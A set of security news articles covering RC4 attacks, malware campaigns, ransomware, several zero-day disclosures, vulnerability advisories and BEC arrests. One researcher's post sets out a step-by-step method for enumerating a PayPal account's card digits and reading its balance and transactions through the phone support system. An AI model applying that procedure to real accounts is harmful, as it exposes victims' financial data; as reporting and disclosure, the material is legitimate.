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We have written several times about RC4 encryption that has been accused of being a Cryptographic disaster, now two Belgian security researchers from the University of Leuven did another discovery that highlights additional holes in the already criticized RC4., The researchers wrote a paper that shows new attacks against RC4, which let the experts to capture cookies from his victim and decrypt the cookie in a short time, comparing with previous attacks, where it was taken more time., The two researchers Mathy Vanhoef and Frank Piessens explained in their paper that what contributes to the significant reduction of decryption time is the discovery of new biases (linear combination of the key bytes) allowing attackers to break encryption in sites running TLS with RC4, or Wi-Fi Protected Access with WPA-TKIP, all these leading the attackers to recover the cookies., , The researchers explained how their discovery can help the attacker to decrypt a user’s website cookie, “This means the attacker can perform actions under the victim’s name (e.g. post status updates and send messages), gain access to personal information (e.g. to emails and chat history), and so on,”, Talking about the time it takes to do the decryption of a cookie, they explained it takes around 75 hours, but in some cases they could reduce it to 52 hours., To be able to use this attack, the attacker needs to capture a number of encrypted cookies from the TLS stream, and convert them into cookies values, that after will be brute-forced., You can see the demo of the practical attack here:, , “To break WPA-TKIP we introduce a method to generate a large number of identical packets. This packet is decrypted by generating its plaintext candidate list, and using redundant packet structure to prune bad candidates. From the decrypted packet we derive the TKIP MIC key, which can be used to inject and decrypt packets. In practice the attack can be executed within an hour. We also attack TLS as used by HTTPS, where we show how to decrypt a secure cookie with a success rate of 94 percent using 9×2^27 ciphertexts. This is done by injecting known data around the cookie, abusing this using Mantin’s ABSAB bias, and brute-forcing the cookie by traversing the plaintext candidates. Using our traffic generation technique, we are able to execute the attack in merely 75 hours.” reports the paper about the WPA-TKIP part., “While previous attacks against RC4 in TLS and WPA-TKIP were on the verge of practicality, our work pushes them towards being practical and feasible,”, We consider it surprising this is possible using only known biases, and expect these types of attacks to further improve in the future.”, Since algorithms such as SHA-1 and RC4 are being broken, there is a need to implement, new, and stronger standards in a medium term, and companies are investing more into the field to be able to provide security to their clients., About the Author Elsio Pinto, Edited by Pierluigi Paganini, (Security Affairs –  RC4, encryption)

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Adwind is a cross-platform RAT, it is able to infect all the major operating systems, including Windows, Mac, Linux, and Android., Once the Adwind RAT has infected a computer it can recruit it into a botnet for several illegal purposes (i.e. DDoS attacks, brute-forcing attacks)., Malware researchers from Trend Micro observed a spike in the number of Adwind infections in June 2017, an increase of 107 percent compared to the previous month., The Adwind RAT implements many features, including stealing credentials, keylogging, taking screenshots and pictures, data gathering and data exfiltration., The malicious campaign was noticed on two different waves, the first one on June 7 and used a link to divert victims to a .NET-written malware equipped with spyware capabilities, while the second one on June 14 and crooks used different domains hosting their malware and C&C servers., Both attacks leveraged spam emails that impersonate the chair of the Mediterranean Yacht Broker Association (MYBA) Charter Committee., Once infected, the malicious code gathers information on the victims, including the list of installed antivirus and firewall applications., “Based on jRAT-wrapper’s import header, it appears to have the capability to check for the infected system’s internet access.” continues the analysis. “It can also perform reflection, a dynamic code generation in Java. The latter is a particularly useful feature in Java that enables developers/programmers to dynamically inspect, call, and instantiate attributes and classes at runtime. In cybercriminal hands, it can be abused to evade static analysis from traditional antivirus (AV) solutions.”, Considering that the main infection vector for the Adwind RAT are spam messages, users have to be suspicious of unsolicited messages containing documents or links. Never open a document or click on links inside those emails if you haven’t verified the source., As usual, keep your systems and antivirus products up-to-date., Pierluigi Paganini , (Security Affairs – Adwind RAT, cybercrime)

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In a few days we have heard of a couple of satellite attacks by hackers meanwhile surfing on the web I came across more than one occasion in satellite photos reporting strange structures that we asked the real intended use., The successful attacks occurred in 2007 and 2008. The more serious of the two happened in ’08 when NASA had control of the Terra EOS earth observation system satellite disrupted for 2 minutes in June, and then a further 9 minutes in October. During that time, whoever took control had full access to the satellites’ systems, but chose to do nothing with it. The second hack affected the Landsat-7 satellite on two occasions, one in October of ’07, the other in July of ’08. Unlike the Terra OS incident, this hack did not see control taken away, but access was gained., We read that Chinese hackers have taken control of NASA satellites for 11 minutes and we know how the news is disturbing. The satellites are a vital component in the process of information management, a stream of bits passes on our heads, no matter whether its a talk show or to military communications, they are there and hackers and militar government know it. It is a new challenge, access and control this data., What is going on in our heads? The phenomenon of hacking satellites seems to be fashionable. Let me suggest a precious reading (Hacking a Bird in the sky), a proof of concept made by the popular security experts Jim Geovedi, Raditya Iryandi and Raoul Chiesa that have approached the problem in the past., What if they could get hold? Which scenario we face if they were able to govern satellite communications?  The answer is obvious as terrifying., But the satellites are really vulnerable? Current satellite systems are vulnerable to several type of attacks but the problem is known and from several parts is working to improve its security., Without going deep in the topic we can enumerate the main threats for those systems:, To show e sensible interest on this issue by Governments and cyber criminals Congress of the U.S has made a report entitled “U.S.-CHINA ECONOMIC AND SECURITY REVIEW COMMISSION“., Malicious cyber activities can be carried out to either destroy the system rendering it useless, or to exploit it to access to sensible informations breaking intelligence actions. Interestingly, the report points to the use of ground stations outside of the U.S. to control satellites as weak points. The reason being they use the Internet for data access and communication, not a closed link., Which are the conclusions proposed in the report ?,  • China is one of the top space powers in the world today.The prestige of space exploration and the national security benefits of space systems serve as primary motivators for Chinese decisionmakers., • China views all space activities in the context of ‘‘comprehensive national power.’’ This concept includes many dimensions, but military aspects are fundamental., • China’s civil space programs have made impressive achievements over the past several decades., • China seeks new opportunities to sell satellites as well as satellite and launch services in international commercial space markets. Chinese firms’ prospects for greater success in this field remain uncertain over the near term. However, China’s international space-related diplomatic initiatives and their firms’ ability to offer flexible terms on sales to developing countries may provide additional opportunities., • In the military sphere, China appears to seek ‘‘space supremacy.’’ The PLA aims to implement this policy through two tracks. First, they increasingly utilize space for the purposes of force enhancement. The best example is China’s integration of space-based sensors and guided weapons. Second, they seek the capabilities  to deny an adversary the use of space in the event of a conflict. To this end, China has numerous, active, counterspace weapons programs with demonstrated capabilities. China’s military space and counterspace activities are part of a larger strategy for area control., But are we sure that it is all China’s fault? Are they the only Country interested in the control of satellite communications? Of course not., I leave you with a little mystery … In recent days the media spread the news of the discovery of satellite images which were taken strange structures in the Chinese desert., , What are they for? Some experts believe that these are structure in use for satellite calibration. So far so normal. This morning a collegue informed me that coordinates reported in the article related to NASA satellite hacking are related to the area where the strange calibration structures has been discovered. Amazing!!  The Chinese hack a NASA satellite to calibrate or to test it on presumed internal calibration structures? Journalistic error or what else? Something is not right!,  (Pierluigi Paganini)

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The fantasy drama television series Game of Thrones has an amazing number of fans, including the authors of the Locky ransomware., The discovery was made by researchers at security firm PhishMe that found the names of show characters and other references into the source code of the Visual Basic script used by the crooks., The Visual Basic script is included in the ZIP or RAR archive attached to email spam used in the ransomware campaign. When the victims open the archive and run the VB script contained within, it would download and install the Locky ransomware., “Lightweight script applications designed to deliver malware often use rotating or pseudorandom variable names to ensure that the malware delivery tools look unique. In this case, many of the variables (some misspelled) referred to characters and events from the globally-popular television fantasy epic Game of Thrones.” states Phishme., Experts discovered in the VB script reference to the TV show such as “Aria,” “SansaStark,” “RobertBaration,” “JohnSnow,” or “HoldTheDoor” ., , , According to BleepingComputer, the term “Throne” was used 70 times inside the script., “The runtime for this script is indifferent to the variable names. The variable names could be anything, including completely random combinations of letters and numbers. However, the criminals responsible for this attack chose a distinctive theme for their variables, thereby revealing their interest in this pop culture phenomenon.” continues PhishMe., Pierluigi Paganini, (Security Affairs – Locky ransomware, Game of Thrones)

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Ransomware is one of the most dreaded threats for Internet users and a profitable business for crooks. In the last months, we have seen a number of malware belonging to this category, one of the most recent is a Hitler-themed ransomware that doesn’t encrypt files, but simply deletes them., , In reality, the threat appears to be a work in progress project developed by coders without specific skills., The Windows ransomware displays a lock screen featuring Hitler, together with a message that warns users that files have been encrypted., The ransomware requests the payment of only 25 euros, in the form of a Vodafone cash card. It is unusual for such kind of crimes., The lock screen features a misspelling “Ransonware.”, The website Bleeping Computer published a detailed analysis of the Hitler ransomware that was first spotted by the malware analyst Jakub Kroustek from AVG., *sigh* #Hitler #Ransomware. #GrammarNazi. pic.twitter.com/un3Go73XkW, — Jakub Kroustek (@JakubKroustek) 7 agosto 2016, , Pierluigi Paganini, (Security Affairs – Hitler ransomware, malware)

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Some models of Cisco IP phones for small businesses are affected by a vulnerability, coded as CVE-2015-0670 that could be exploited by a remote attacker to eavesdrop on conversations and make phone calls from the vulnerable phones., The security flaw was discovered by security research Chris Watts from Tech Analysis, which reported two other flaws (CVE-2014-3313 and CVE-2014-3312)impacting Cisco SPA300 and SPA500 series IP phones., The last vulnerability discovered by the expert, the CVE-2015-0670, allows unauthenticated remote dial vulnerability affects version 7.5.5 and later versions of the models belonging to the Cisco Small Business SPA300 and SPA500 series IP phones., “Cisco Small Business SPA 300 and 500 Series IP phones contain a vulnerability that could allow an unauthenticated, remote attacker to access sensitive information. Updates are not available.” states the security advisory published by Cisco., The exploitation of the vulnerability is quite simple, a remote unauthenticated attacker can exploit the flaw by sending a maliciously crafted XML request to the targeted IP phone. Threat actors could obtain sensitive information by eavesdropping audio streams from the phones., , “To exploit this vulnerability, an attacker may need access to trusted, internal networks behind a firewall to send crafted XML requests to the targeted device. This access requirement may reduce the likelihood of a successful exploit,” the company noted in its advisory., The attackers can also exploit the flaw to make phone calls remotely from a vulnerable phone., “A successful exploit could be used to conduct further attacks,” Cisco said., Despite Cisco has publicly disclosed the flaw, rating its exploitation as a medium severity, its users remain vulnerable to the attacks because the company hasn’t planned any update to fix the issue., As possible safeguards, Cisco suggests administrators  to enable XML Execution authentication in the configuration settings of affected devices and to allow only trusted users to have network. It is strongly suggested to protect vulnerable Cisco system from external attacks by using a firewall or access control lists (ACLs) to allow only trusted IPs to access the IP phones., Pierluigi Paganini, (Security Affairs –  CISCO IP phone, hacking)

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, , , Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter, SecurityAffairs)

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The spike in the value of some cryptocurrencies like Bitcoin is attracting the interest of cyber criminals. The numbers of incidents and cyber attacks involving miners and mining scripts continue to increase and the last in order of time seems to be the BlackBerry Mobile Site., On January 6, a Reddit user that handle the moniker “Rundvleeskroket” claims that the official website of BlackBerry Mobile was caught using Coinhive’s cryprocurrency code to mine Monero. Rundvleeskroket wrote that his friend pointed out that Blackberry Mobile domain (blackberrymobile.com) was using the Coinhive code,, “A friend of mine just pointed this out to me. Have a look at the source code on their pages. This is an official site where BB links to themselves from their product pages at blackberry.com., Image.” he wrote., Originally pointed out by /u/cryptocripples on /r/security, Update: it seems like only their global site is affected. So anyone getting redirected to CA, EU, US, etc won’t have the coinhive miner running while the site is open.”, The Reddit user also shared the following screenshot:, , The Coinhive code was removed from the BlackBerry mobile site, unfortunately, such kind of incidents is becoming frequent. In many cases, website owners are using the CoinHive code to generate Monero exploiting computational resources of unaware visitors., In December experts from Sucuri discovered that nearly 5,500 WordPress websites were infected with a malicious script that logs keystrokes and in loads a cryptocurrency miner in the visitors’ browsers., In November, experts reported the same attackers were loading malicious scripts disguised as fake jQuery and Google Analytics JavaScript files that were actually a copy of the Coinhive in-browser cryptocurrency miner. By November 22, the experts observed 1,833 sites compromised by the attackers., According to a Coinhive’s comment on the Reddit post, the BlackBerry Mobile website was hacked by exploiting a critical security vulnerability in the Magento ecommerce software., According to Coinhive, the same Coinhive’s account was used in the hack of many other websites, for this reason, it was suspended., “Coinhive here. We’re sorry to hear that our service has been misused. This specific user seems to have exploited a security issue in the Magento web shop software (and possibly others) and hacked a number of different sites. We have terminated the account in question for violating our terms of service now.” commented Coinhive., Pierluigi Paganini, (Security Affairs – BlackBerry Mobile Website, Monero Miner)

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The US food giant Mondelez is suing Zurich for $100 Million after the insurance company rejected its claim to restore normal operations following the massive NotPetya ransomware attack., On the other side, Mondelez was requesting the payment of a policy that was promising to conver “all risks of physical loss or damage” as well as “physical loss or damage to electronic data, programs, or software, including loss or damage caused by the malicious introduction of a machine code or instruction.”, Mondelez International is one of the world’s largest snacks companies, its products include the Oreo cookies and Cadbury chocolates. , The company estimated the NotPetya attack caused a cut of three percentage points from second-quarter sales growth because of disruptions to shipping and invoices caused by the cyber attack., The company declared that its shipping and invoicing was disrupted during the last four days of Q2., Considering that Mondelez International’s net revenues were $6.4bn in Q1, it is possible to quantify the overall economic impact of a cyber attack., “There are a few markets where we have permanently lost some of that revenue due to holiday feature timing, but we expect we will be able to recognize the majority of these delayed shipments in our third quarter results,” Mondelez declared in July., After the attack, employees in different regions experienced technical problems, according to Mondelez, the malware infected 1,700 servers and 24,000 laptops. , According to the cyber security community, NotPetya is a cyber weapon develped by Russia to hit the Ukrainian government., The overall damages that insurance firms would probably have to cover reach over $80bn. The shipping giant Maersk declared that it had lost $300 million as a result of the massive ransomware attacks., Zurich offered an initial payment of $10m, but after a further investigation decided to not pay the policy due to an exclusion for “hostile or warlike action in time of peace or war” by a “government or sovereign power.”, This decision is a case study, both companies are facing an unprecedented court case. Of course, this situation will not have a simple resolution, even if Zurich has found a way to avoid paying the policy, it will be obliged to prove the attribution of the attack to Russia., The ruling will be a milestone in the cyber insurance sector, whatever its outcome will force companies to review their policies and client companies to pay attention to all possible exceptions., The case, lodged in Illinois court (2018-L-011008) is being watched keenly as a result. , Pierluigi Paganini, (SecurityAffairs – Mondelez, cyber insurance)

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Brave is an open source project that promises to block Internet greed and ugliness while improving speed and protecting privacy. Basically, it blocks ads containing pixels and cookies that track users and load stuff onto their devices without their knowledge., Brave considers security as its topmost priority and runs a Bug bounty program on Hackerone platform. Aaditya Purani, a Security researcher and Ethical Hacker discovered a critical flaw in Brave’s IOS as well as Android applications that would let any attacker tricking users into visiting a fake or malicious website to serve either malware or conduct phishing attacks., In Simple words, the victim sees a familiar looking URL but the content is not from the same URL but the attacker controlled content., “We recognize that the address bar is the only reliable security indicator in modern browsers” many experts say., Affected products are:, Brave Security Team fixed this vulnerability within a week and the vulnerability report was disclosed after 3 months of the fix, so currently it does not affect any user., A complete report was publicly disclosed by the security researcher Aaditya Purani here: and he was rewarded $200 under the bug bounty by Brave Team., “I created a HTML Code which would spoof address bar of Brave Browser ( bravespoof.html) in the Attachments. As we can understand, the code contains a form which i have created just to demonstrate a look-a-like impact where it asks for username and password of any user. But the real trick is done, by the function f() whose location is equal to . Additionally, to complete the exploit i used setInterval function to execute the function f continuously after every 10 milliseconds. Hence, ideally after 10 ms the Location would divert the URL as well as the page to display content or it some cases, it keeps hold the of URL without changing the URL nor the page (which is again a safe case) . But in Brave Browser both fails, In brave when you host the below given HTML code to a web server and visit from either Android or IOS Brave Browser, The URL would get spoofed to (Even it shows Green lock so victim would believe) but the content remains the one which attackers have placed.” explained Purani., , In past, Aaditya Purani had also reported many other critical vulnerabilities, including a WP Mobile detector Arbitrary file upload and Account Takeover on Beats by Dr.Dre. Bug Bounty programs are serving well for organizations and start-ups to fix their security vulnerabilities, and in return, they acknowledge researchers by paying them bounty or sending them swags., About the author Aaditya Purani, Independent Security Researcher, Pierluigi Paganini, (Security Affairs – ESEA data breach, hacking)

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A security researcher that goes online with the Twitter account Siguza (@s1guza) has publicly disclosed the details of macOS zero-day vulnerability that can be exploited to take complete control of a system. The expert speculates the flaw has been around since at least 2002, Fuck it, dropping a macOS 0day. Happy New Year, everyone. — Siguza (@s1guza) December 31, 2017, , The flaw is a local privilege escalation (LPE) vulnerability that affects IOHIDFamily, a kernel extension designed for human interface devices (HID) (e.g. the touchscreen, buttons, accelerometer, etc.)., The flaws discovered by the expert affect all versions of macOS and they can lead to an arbitrary read/write vulnerability in the kernel., An attacker who has access to a system can trigger the zero-day flaw to execute arbitrary code and gain root permissions., The expert was analyzing the iOS code searching for vulnerabilities in the iOS kernel when he discovered that the component IOHIDSystem exists only on macOS., “I was originally looking through its source in the hope of finding a low-hanging fruit that would let me compromise an iOS kernel, but what I didn’t know it then is that some parts of IOHIDFamily exist only on macOS – specifically IOHIDSystem, which contains the vulnerability discussed herein.” Siguza wrote in the technical analysis published on gitHub., The expert published a PoC code, dubbed IOHIDeous, that works for Sierra and High Sierra (up to 10.13.1, see README) and is able to disable both the System Integrity Protection (SIP) and Apple Mobile File Integrity (AMFI)., “Targets Sierra and High Sierra (up to 10.13.1, see README), achieves full kernel r/w and disables SIP to prove that the vulnerability can be exploited by any unprivileged user on all recent versions of macOS.” continues the expert., The exploit code developed by the expert runs as fast as possible to avoid user interaction, for example on a shutdown “we’d be able to slip in between the user getting logged out and the kernel killing us.”, , The PoC code published by Siguza seems not work on macOS High Sierra 10.13.2 released on December 6, but the expert believes that this version is still vulnerable., “The prefetch timing attack I’m using for hid for some reason doesn’t work on High Sierra 10.13.2 anymore, and I don’t feel like investigating that.” said Siguza., “Maybe patched, maybe just the consequence of a random change, I neither know nor care. The vuln is still there and my code does both info leak and kernel r/w, just not in the same binary – reason is explained in the write-up. If you want that feature, consider it an exercise for the reader.”, Siguza publicly disclosed this macOS zero-day because it is exploitable only by a local attacker and because Apple bug bounty doesn’t cover it., My primary goal was to get the write-up out for people to read. I wouldn't sell to blackhats because I don't wanna help their cause. I would've submitted to Apple if their bug bounty included macOS, or if the vuln was remotely exploitable., — Siguza (@s1guza) January 1, 2018, , Pierluigi Paganini, (Security Affairs – macOS zero-day, hacking)

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FBI admitted publicly that the Bureau had compromised the Freedom Hosting, probably the most popular Tor hidden service operator company., The news confirms the suspects raised after that a group of  Security researchers found a malicious script that takes advantage of a Firefox Zero-day to identify some users of the Tor anonymity network., Mozilla confirmed the presence of the security vulnerability in Firefox 17 (MFSA 2013-53) , which is currently the extended support release (ESR) version of Firefox., “Security researcher Nils reported that specially crafted web content using the onreadystatechange event and reloading of pages could sometimes cause a crash when unmapped memory is executed. This crash is potentially exploitable.”, The exploit is based on a Javascript that is a tiny Windows executable hidden in a variable dubbed “Magneto”. Magneto code looks up the victim’s Windows hostname and MAC address and sends the information back to the FBI Virginia server exposing the victims’s real IP address. The script sends back the data with a standard HTTP web request outside the Tor Network., , Eric Eoin Marques, the 28-year-old Irishman owner and operator of Freedom Hosting, is now awaiting extradition to the US where he could face 100 years in prison on child pornography charges. The new details emerged in press reports from a Thursday bail hearing in Dublin, where Marques, 28, is fighting extradition to America on the above charges. He was denied bail for the second time since his arrest in July. According law enforcement Marques might reestablish contact with co-conspirators, and further complicate the FBI probe., , Donahue revealed that the Freedom Hosting  service hosted at least 100 child porn sites providing illegal content to thousands of users, and claimed Marques had visited some of the sites himself., reedom Hosting with a series of DDoS attacks after allegedly finding the firm hosted more that 90% of the child porn hidden services on the Tor network., Court documents and FBI files released under the FOIA have described the CIPAV (Computer and Internet Protocol Address Verifier) as software the FBI can deliver through a browser exploit to gather information from the suspect’s machine and send it to on the server of the Bureau in Virginia., The event is the confirmation that Tor network provides an extra layer of obfuscation but it must be clear it does not provide bulletproof online anonymity, various researches already that evidenced it.

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A software developed by PricewaterhouseCoopers for SAP systems, the Automated Controls Evaluator (ACE), is affected by a critical security flaw., The vulnerability was discovered by the security firm ESNC who analyzed the tool. The Automated Controls Evaluator (ACE) is a diagnostic SAP tool that extracts security and configuration data from SAP systems in order to analyze them in order to discover backdoors (such as configuration, customization and security settings) and misconfiguration that could be exploited by attackers to commit fraud.”, “The purpose of this tool is to analyze SAP security settings and identify privileged access and potential segregation of duties issues accurately and efficiently”; and – “The ABAP files introduce no changes to the production systems and settings”. states the PricewaterhouseCoopers website., The researchers from ESNC have discovered that the PwC ACE software is affected by a remotely exploitable security flaw that could be exploited to inject and execute malicious ABAP code on the remote SAP system. The potential impact on the companies that uses the tool is critical, the vulnerability may allow an attacker bypass change management control, bypass segregation of duty restrictions, and of course, manipulate accounting documents and financial results exposing the business to fraudulent activities., “This security vulnerability may allow an attacker to manipulate accounting documents and financial results, bypass change management controls, and bypass segregation of duties restrictions,” states the advisory published by ESNC., “This activity may result in fraud, theft or manipulation of sensitive data including PII such as customer master data and HR payroll information, unauthorized payment transactions and transfer of money.” “The attacks may be executed from the local network via SAPGui, or from the public Internet via http/https ICF services such as WebGui and Report, if the systems are accessible.”, The vulnerability affects version 8.10.304, and potentially also earlier versions might also be affected., , A PricewaterhouseCoopers spokeswoman tried to downplay the issue by explaining that the company is not aware of any problem with his software., “The code referenced in this bulletin is not included in the current version of the software which is available to all of our clients,” a PwC spokeswoman told The Reg. “The bulletin describes a hypothetical and unlikely scenario – we are not aware of any situation in which it has materialized.”, The Reg highlighted the difficulties faced by ESNC in reporting the issue to PricewaterhouseCoopers. The flaw was reported in August, but PwC initially didn’t provide a response, then its lawyers sent an email to the security researchers to “desist” their investigation., Below the Vulnerability Timeline shared by ESNC, This is a wrong approach to cyber security., Pierluigi Paganini, (Security Affairs – PricewaterhouseCoopers SAP tool, hacking) 

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Security experts at Applied Risk are affected by potentially serious flaws and the bad news is that the vendor will not release firmware updates because the impacted products have reached the end of life., The security firm published a security advisory that provides technical details for two vulnerabilities in ABB Pluto Gateway products. GATE-E1 and GATE-E2 from ABB., The ABB gateway solutions allow ABB PLCs to communicate with other control systems., “Two vulnerabilities were found in the ABB GATE E1/E2 devices. These findings include a total lack ofauthentication for the administrative interfaces on the device, as well as an unauthenticated persistentCross-Site Scripting vulnerability.” reads the security advisory published by ABB., “As a result of these findings, ABB has put the GATE-E2 in End-of-Life.The E1 device was already in EoL. “, The devices do not implement authentication on its administrative telnet/web interface, the flaws could be exploited to change device settings and cause a DoS condition by condition by continuously resetting the product., Applied Risk assigned to the flaws a CVSS v3 base score of 9.8., Experts also discovered a persistent cross-site scripting (XSS) flaw that could be exploited by an attacker to inject malicious code via the administrative HTTP and telnet interfaces. The malicious is executed when a legitimate admin will access the device’s web portal. The flaw has been rated as a severity rating of “high.”, ABB also published separate advisories for the missing authentication and XSS vulnerabilities. ABB will send customers instructions on how to secure their installs., The good news is that the experts are not aware of attacks exploiting the flaws in the wild., Pierluigi Paganini, (SecurityAffairs – PLC Gateways, hacking),

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This post details an issue which allows for enumeration of the last four digits of payment method (such as a credit or debit card) and for the disclosure of account balance and recent transactions of any given PayPal account., This attack was submitted to PayPal’s bug bounty program where it was classified as being out of scope, which is something that would admittedly be unavailing to refute since their program scope does not mention anything about attacks on their interactive voice response system., , In order to get started, the attacker would require knowledge of two pieces of information pertaining to an account, which would be the e-mail address and phone number linked to it., Armed with knowledge of the e-mail address and phone number linked to an account, the attacker would visit the Forgot Password page on PayPal’s website, and enter the e-mail address associated with the targeted account., The attacker would then be presented with the type of card linked to the account, as well as the last two digits of the same., , On first glance, the interactive voice response system on PayPal’s phone-based customer support seemingly allows for a maximum of three attempts at submitting the correct last four digits per phone call., However, if the first attempt at submission is incorrect, the caller will not be notified of a successful submission in subsequent attempts made during the same phone call. This makes any additional attempts given to a caller during the same phone call completely cosmetic., To get around this presumed limitation, the attacker would have to make only one attempt at submitting a possible combination of the last four digits per phone call., , Additionally, limiting the number of attempts to one submission per phone call makes the task of enumerating the correct combination much more time-efficient, and not to mention, it allows for easily distinguishing between a correct attempt and an incorrect one., Furthermore, upon have tested this theory with my own account, I have been able to conclude that there is no limit on the number of submission attempts which can be made in this manner, meaning that hypothetically, an attacker could call 100,000 times to enumerate the last four digits entirely on their own., That would, however, be disregarding the last two digits retrieved from the Forgot Password page, the knowledge of which effectively makes the attack much more feasible–by reducing the number of possible combinations from 100,000 to just 100., , Once the correct combination of the last four digits has been found, the attacker would simply have to use the interactive voice response system to retrieve information about the account., After having entered the correct last four digits, the account’s current balance will automatically read off by the machine., , Additionally, to retrieve information about recent transactions, an attacker would simply have to say “recent transactions”, and the same would then be read off., , If the aforementioned prerequisites have been met, an attacker would without fail have the ability to enumerate the correct last four digits of the payment method linked to an account. This information could then further be used to retrieve the account’s current balance and recent transactions as well., Moreover, after having timed various attempts at submission of the last four digits, it was found that an attempt at submission would on average take around 30 seconds. The fastest possible time would be 27 seconds per phone call., If we take the fastest possible time as our average, enumerating all possible combinations from 00XX to 99XX would take at most around 45 minutes. This time could then be halved by adding another phone in the mix to consecutively make calls with., Users should be allowed to opt for privacy settings which keep the amount of data revealed on the Forgot Password page to a minimum. This would be similar to how Twitter allows its users to hide information about the email address and/or phone number linked to their account when attempting to reset its password., It would also be similar to how Facebook allows users to choose whether their full names show up or not when their e-mail address is entered on the password reset page., Perhaps some measures could be deployed where the last two digits of credit or debit card, if they need to be shown at all, are only shown when the request matches a certain criteria, such as if/when the request has been made from a recognizable device or location., This issue allows for enumeration of the last four digits of the payment method on an account, which then allows for the disclosure of the account’s current balance and recent transactions., An attacker with knowledge of the targeted account’s email address and phone number would first use PayPal’s Forgot Password page to retrieve the last two digits of the payment method linked to the account., The attacker would then be able to accurately enumerate the last four–or rather the first two of the last four digits–of the payment method on the account by making phone calls to PayPal’s phone-based customer support and interacting with the interactive voice response system., Once the attacker has successfully enumerated the last four digits of credit/debit card or bank account linked to the account, they would then be able to query the current account balance and recent transaction information at will., Lastly, I would like to note that since there is no human interaction required or involved in the attack, it would essentially be a backdoor into PayPal accounts–allowing attackers to query current account balance and recent transaction information of any given account, at any time., The original post was published on Saini’s website:, Pierluigi Paganini, (Security Affairs – PayPal, hacking), ,

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The proof-of-concept (PoC) code published by SandboxEscaper overwrites ‘pci.sys’ with information about software and hardware problems, collected through the Windows Error Reporting (WER) event-based feedback infrastructure., SandboxEscaper initially announced the release of the PoC code for the new year, but she decided to publicly disclose it two days after the Christmas day. , The expert warns of some limitations for the exploit code that may not work on some CPUs, for example, it could not work on systems based on a single CPU core., SandboxEscaper also added that it could take time to trigger the issue because it relies on a race condition and other operations may break the outcome., SandboxEscaper added that the exploit code could be used to disable third-party AV software. , “You can also use it to perhaps disable third-party AV software,” the expert explained., Will Dormann, a security expert at CERT/CC, was able to successfully execute the exploit code on  Windows 10 Home, build 17134. The expert confirmed that the exploit not always works. , This latest 0day from SandboxEscaper requires a lot of patience to reproduce. And beyond that, it only *sometimes* overwrites the target file with data influenced by the attacker. Usually it's unrelated WER data. pic.twitter.com/jAk5hbr46a, Experts from BleepingComputer pointed out that the exploit code could cause a DoS condition., “Since the target is ‘pci.sys,’ SandboxEscaper’s PoC can cause a denial-of-service on the machine, from a user that does not have administrative privileges. ‘Pci.sys’ a system component necessary for correctly booting the operating system, since it enumerates physical device objects.” reads a blog post published on BleepingComputer., SandboxEscaper said that she has reported the bug to the Microsoft Security Response Center (MSRC) once published., SandboxEscaper disclosed another Windows zero-day in December, it is an arbitrary file read vulnerability that could be exploited by a low-privileged user or a malicious program to read the content of any file on a Windows system. , Since August, SandboxEscaper has publicly dropped exploits for two Windows zero-day vulnerabilities forcing Microsoft to quickly address them to avoid its users being targeted by hackers., In October, SandboxEscaper released the proof-of-concept exploit code for Microsoft Data Sharing that allowed a low privileged user to delete critical system files from Windows systems., In August, SandboxEscaper released the PoC exploit for a local privilege escalation flaw in Microsoft Windows Task Scheduler., Pierluigi Paganini, (SecurityAffairs – Windows zero-day, hacking),

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On Monday, the U.S. authorities announced the arrest of 74 individuals as part of an international law enforcement operation dubbed ‘operation WireWire’ targeting business email compromise (BEC) scams., The authorities conducted the investigation for over six months, 42 suspects have been arrested in the United States, 29 in Nigeria, the remaining in Canada, Mauritius, and Poland., Law enforcement seized roughly $2.4 million and was able to recover of roughly $14 million in fraudulent wire transfers., “Operation WireWire—which also included the Department of Homeland Security, the Department of the Treasury, and the U.S. Postal Inspection Service—involved a six-month sweep that culminated in over two weeks of intensified law enforcement activity resulting in 74 arrests in the U.S. and overseas, including 42 in the U.S., 29 in Nigeria, and three in Canada, Mauritius, and Poland.” reads the press note released by the Department of Justice and the FBI., “The operation also resulted in the seizure of nearly $2.4 million and the disruption and recovery of approximately $14 million in fraudulent wire transfers.” , , During Operation WireWire, law enforcement executed more than 51 domestic actions, including search warrants, asset seizure warrants, and money mule warning letters, The suspects have been involved in schemes targeting businesses of all sizes and individual victims., According to the DoJ, 23 individuals were charged in the Southern District of Florida with laundering at least $10 million obtained from BEC scams. in one case the suspects tricked a real estate closing attorney into wiring $246,000 to their account., According to a report published by TrendMicro, Business Email Compromise (BEC) attacks had surpassed the value of damage to enterprises in the past years and it is estimated that it could reach $ 9 billion dollars in 2018. This rising value of loss for business takes into account new attack vectors like the one from Lebanese Intelligence Agency Dark Caracal malware who utilizes malware in android application., BEC frauds have devastating impacts not only on the individual business but also on the global economy., “Since the Internet Crime Complaint Center (IC3) began formally keeping track of BEC and its variant, e-mail account compromise (EAC), there has been a loss of over $3.7 billion reported to the IC3.” continues the note., The report states that the FBI released a public announcement revealing that BEC attacks had become a $ 5.3 billion industry in the past years. In that regard, the report emphasizes that hackers are employing Social Engineering to lure and deceive employees in a myriad of scams to bypass security measures. By using a deep understanding of Human Psychology hackers are circumventing the defenses, as the report states ” it requires little in the way of special tools or technical knowledge to pull off, instead of requiring an understanding of human psychology and knowledge of how specific organizations work.”, The report lists how BEC attacks are usually conducted. The techniques are: Bogus invoice scheme, CEO fraud, Account compromise, Attorney impersonation and Data Theft. The report highlight that these attacks can be classified into two major groups: Credential grabbing and email only., The analysis of losses caused by crimes reported in the FBI 2017 Internet Crime Report, a document that outlines cybercrime trends over the past year, BEC/EAC ($676,151,185) is prominent, followed by Confidence Fraud/Romance ($211,382,989), and Non-Payment/Non-Delivery ($141,110,441)., “BEC is a sophisticated scam targeting businesses that often work with foreign suppliers and/or businesses and regularly perform wire transfer payments. The Email Account Compromise (EAC) variation of BEC targets individuals who regularly perform wire transfer payments.” states the report., “It should be noted while most BEC and EAC victims reported using wire transfers as their regular method of transferring business funds, some victims reported using checks.”, Today’s announcement highlighting this recent surge in law enforcement resources targeting BEC schemes “demonstrates the FBI’s commitment to disrupt and dismantle criminal enterprises that target American citizens and their businesses,” according to FBI Director Christopher Wray., And he added, “We will continue to work together with our law enforcement partners around the world to end these fraud schemes and protect the hard-earned assets of our citizens. The public we serve deserves nothing less.”, Pierluigi Paganini, (Security Affairs –BeC, Operation WireWire)

